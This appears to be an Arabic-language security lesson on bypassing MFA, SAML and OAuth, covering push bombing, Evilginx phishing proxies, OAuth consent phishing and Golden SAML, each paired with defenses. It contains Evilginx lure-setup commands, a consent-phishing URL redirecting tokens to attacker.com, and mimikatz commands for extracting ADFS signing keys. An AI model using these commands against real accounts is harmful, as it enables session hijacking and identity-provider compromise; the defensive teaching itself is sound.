هجمات MFA و SAML و OAuth
MFA fatigue، Evilginx، token theft، Golden SAML، consent phishing
لماذا MFA لا يعني نهاية الهجوم
في 2024-2025، أكبر اختراقات الشركات (Uber, MGM, Snowflake) لم تتجاوز كلمات المرور بل MFA. هذا الدرس يغطي أربعة محاور: MFA fatigue، Adversary-in-the-Middle مع Evilginx، token theft، Golden SAML.
1. MFA Fatigue / Push Bombing
المهاجم يعرف كلمة المرور. يضغط زر "تسجيل الدخول" 50 مرة. الضحية يتلقى 50 push notification في 10 دقائق ويوافق على واحدة فقط ليتوقف الضجيج. هذا ما حدث لـ Uber في سبتمبر 2022.
# سيناريو متكرر:
1. credentials من phishing أو credential stuffing
2. تسجيل دخول → MFA push يطلق
3. تكرار كل 30 ثانية لمدة ساعة
4. الضحية يضغط Approve ليصمت الإشعار
5. session token يخرج للمهاجم- Number Matching (Microsoft, Okta): الضحية يدخل رقم يظهر على شاشة تسجيل الدخول
- تقييد عدد محاولات MFA per hour
- تنبيه على push من IP غير معتاد
- الانتقال إلى FIDO2 / passkeys (لا تسأل المستخدم، توقع شيء فقط)
2. Adversary-in-the-Middle مع Evilginx
Victim → evilginx.attacker.com → real Microsoft Login
↓ ↓
credentials caught MFA challenge passes through
↓ ↓
MFA code caught real session cookie returned
↓
attacker uses cookie → fully authenticated session
(لا يحتاج كلمة المرور أو MFA مرة أخرى)# Evilginx 3.x
evilginx2 -p ./phishlets
[evilginx] config domain login-corp.example
[evilginx] phishlets hostname o365 login-corp.example
[evilginx] phishlets enable o365
[evilginx] lures create o365
[evilginx] lures get-url 0
# https://login-corp.example/auth?lure_id=...- FIDO2 / WebAuthn: مرتبط بنطاق الـ origin، لا يعمل على evilginx domain
- Conditional Access: device compliance + IP location
- Token Protection (Azure AD): cookie مرتبط بالجهاز
- كشف phishing domains via certificate transparency monitoring (crt.sh على نطاقك المشتق)
3. OAuth Consent Phishing
لا تطلب كلمة المرور — اطلب من الضحية أن يمنح تطبيقك صلاحيات على حسابه. في Microsoft 365، هذا يفتح قراءة البريد، الملفات، والبريد المرسل، حتى بعد تغيير كلمة المرور.
Phishing email:
"Click to view shared report"
↓
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
?client_id=<EVIL_APP>
&response_type=code
&scope=Mail.Read Files.ReadWrite User.Read offline_access
&redirect_uri=https://attacker.com/callback
Victim sees: "Cool Reports App wants to access your mailbox"
Victim clicks Accept
→ Attacker gets refresh token good for 90 days- Admin consent للتطبيقات بصلاحيات حساسة
- Block unverified publishers
- راقب OAuth grants — Sentinel rule على Microsoft.Graph events
- Quarterly review لكل enterprise application في tenant
4. Golden SAML
لو سرقت private key لـ ADFS / Okta signing certificate، تستطيع توقيع SAML response لأي مستخدم، بأي صلاحيات، تنتهي عند أي وقت تريد. هذا ما حدث في SolarWinds: ADFS keys سُرقت ثم استخدمت لتسجيل دخول إلى cloud apps دون أي تنبيه.
# ADFS service account → token signing key
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # vault::cred /patch
# يستخرج private key من Microsoft.IdentityServer service- HSM للـ ADFS signing keys (لا يمكن استخراجها برمجياً)
- تقصير عمر SAML tokens (15 دقيقة بدلاً من 8 ساعات)
- Conditional Access على cloud apps حتى مع SAML صحيح
- راقب unusual SAML claims (admin role غير معتاد)
مصادر
- Microsoft Security — Threat Intelligence on AiTM
- Mandiant — UNC2452 / Solorigate (Golden SAML)
- Push Security — AiTM toolkit research
- SpecterOps — Token Tactics on Azure
- MITRE ATT&CK — T1556.005 Reverse Proxy MFA Bypass